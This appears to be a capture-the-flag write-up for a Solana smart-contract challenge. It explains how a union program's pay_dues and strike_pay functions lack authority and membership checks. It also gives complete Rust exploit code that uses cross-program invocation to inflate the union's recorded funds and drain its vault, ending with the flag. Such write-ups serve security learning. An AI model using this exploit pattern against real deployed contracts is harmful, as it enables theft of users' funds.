    #[account(mut)]
    member: SystemAccount<'info>,
    authority: Signer<'info>,
    #[account(mut, seeds = [b"vault"], bump)]
    vault: SystemAccount<'info>,
    system_program: Program<'info, System>,
}

 

Until now anyone pay some lamprots to vault.

At this time, strike_pay() make vault transfer some amount to member. 

 

 

 

Root cause

 

Do you wonder difference between member and authority in Account Struct?

At create_union(), it fixed who authority is. 

For union's logic, I think the only account(public key) that has authority could call pay_dues() and strike_pay().

 

In pay_dues()

        if ctx.accounts.member.lamports() >= amt {
            ctx.accounts.sailor_union.available_funds += amt;
            transfer(&ctx.accounts.authority, &ctx.accounts.vault, amt, &[])?;

First of all, they check the balance of member but they withdraw some lamports from authority.

To do this, it needs assumption member == authority but they do not check it.

 

Although before invoke_signed() transfer() function checks balance of from > amt, transfer() do not generate any error so sailor_union.available_funds still increase.

    if from.lamports() >= amt {
        invoke_signed(
            &system_instruction::transfer(from.key, to.key, amt),
            &[from.clone(), to.clone()],
            signers,
        )?;
    }
    Ok(())

 

 

In strike_pay()

        if ctx.accounts.sailor_union.available_funds >= amt {
            ctx.accounts.sailor_union.available_funds -= amt;
            transfer(
                &ctx.accounts.vault,
                &ctx.accounts.member,
                amt,
                &[&[b"vault", &[vault_bump]]],
            )?;

They do no check member is union's member. 

So anyone that do not enroll union could call strike_pay().

 

To fix this, we would add if sailor_unior.authority == member to that.

 

 

 

In short, attacker increase sailor_union.available_funds by pay_dues() and withdraw 1_000_000 lamports from vault by strike_pay(). 

 

 

Although anyone can easily find vulnerability, writing the exploit code was more challenging. 

 

 

Solve

 

Let me first explain my wrong approach.

 

In IdekCTF and DiceCTF, there are solana challenges.

They are solved by using Anchor. https://www.anchor-lang.com/ 

I thought that I could solve this chall with Anchor as well.

So I wrote following code. https://gist.github.com/kangsangsoo/d30f154cba6b471e510b6fda556a983e

I ran solve.py and got error: "The declared program id does not match the actual program id." 

 

Aplet123

Triacontakai

explaind to me why my approach is incorrect.

 

this chall used https://github.com/otter-sec/sol-ctf-framework/tree/main

other chall used https://github.com/otter-sec/sol-ctf-framework/tree/rewrite-v2

 

this chall generate program key by https://github.com/otter-sec/sol-ctf-framework/blob/main/src/lib.rs#L84 

other chall generate program key by https://github.com/otter-sec/sol-ctf-framework/blob/rewrite-v2/src/lib.rs#L80

 

Therefore, it is impossible that my solve.so's program ID is equal to program key that this chall generates.

 


the 8 byte instruction thing is only an anchor thing that it uses to determine which instruction handler to route it to
but normal solana programs always send the instruction data to process_instruction

 

In normal case, check https://docs.rs/solana-program/latest/solana_program/

 

#[cfg(not(feature = "no-entrypoint"))]
pub mod entrypoint {
    use solana_program::{
        account_info::AccountInfo,
        entrypoint,
        entrypoint::ProgramResult,
        pubkey::Pubkey,
    };

    entrypoint!(process_instruction);

    pub fn process_instruction(
        program_id: &Pubkey,
        accounts: &[AccountInfo],
        instruction_data: &[u8],
    ) -> ProgramResult {
        // Decode and dispatch instructions here.
        todo!()
    }
}

 

To call pay_dues(), strike_pay(), we use CPI via Anchor that is convenient.

https://www.anchor-lang.com/docs/cross-program-invocations

 

add to cargo.toml

sailor = {path = "../chall", features = ["cpi"], version = "0.1.0"}

 

First, we create ctx via CpiContext::new()

https://docs.rs/anchor-lang/latest/src/anchor_lang/context.rs.html#179-186

 

Next, just call

 

 

cargo build-bpf

copy /targeat/depoly/solve.so

 

 

lib.rs

#[cfg(not(feature = "no-entrypoint"))]
pub mod entrypoint {
    use solana_program::{
        account_info::AccountInfo,
        entrypoint,
        entrypoint::ProgramResult,
        pubkey::Pubkey,
    };
    use anchor_lang::prelude::*;

    entrypoint!(process_instruction);

    pub fn process_instruction(
        program_id: &Pubkey,
        accounts: &[AccountInfo],
        instruction_data: &[u8],
    ) -> ProgramResult {
        let program = accounts[0].clone();
        let user = accounts[1].clone();
        let vault = accounts[2].clone();
        let sailor_union = accounts[3].clone();
        let rich_boi = accounts[4].clone();
        let system_program = accounts[5].clone();
    

        let cpi_accounts = sailor::cpi::accounts::PayDues {
            sailor_union: sailor_union.clone(),
            member: rich_boi.clone(),
            authority: user.clone(),
            vault: vault.clone(),
            system_program: system_program.clone()
        };
        let cpi_ctx = CpiContext::new(program.clone(), cpi_accounts);

        sailor::cpi::pay_dues(cpi_ctx, 100_000_000);

        let cpi_accounts2 = sailor::cpi::accounts::StrikePay {
            sailor_union: sailor_union.clone(),
            member: user.clone(),
            authority: user.clone(),
            vault: vault.clone(),
            system_program: system_program.clone()
        };
        let cpi_ctx2 = CpiContext::new(program.clone(), cpi_accounts2);

        sailor::cpi::strike_pay(cpi_ctx2, 100_000_000);

        Ok(())        
    }
}

 

 

 

lactf{anchor_cant_protect_me_from_my_own_stupidity}

+ Recent posts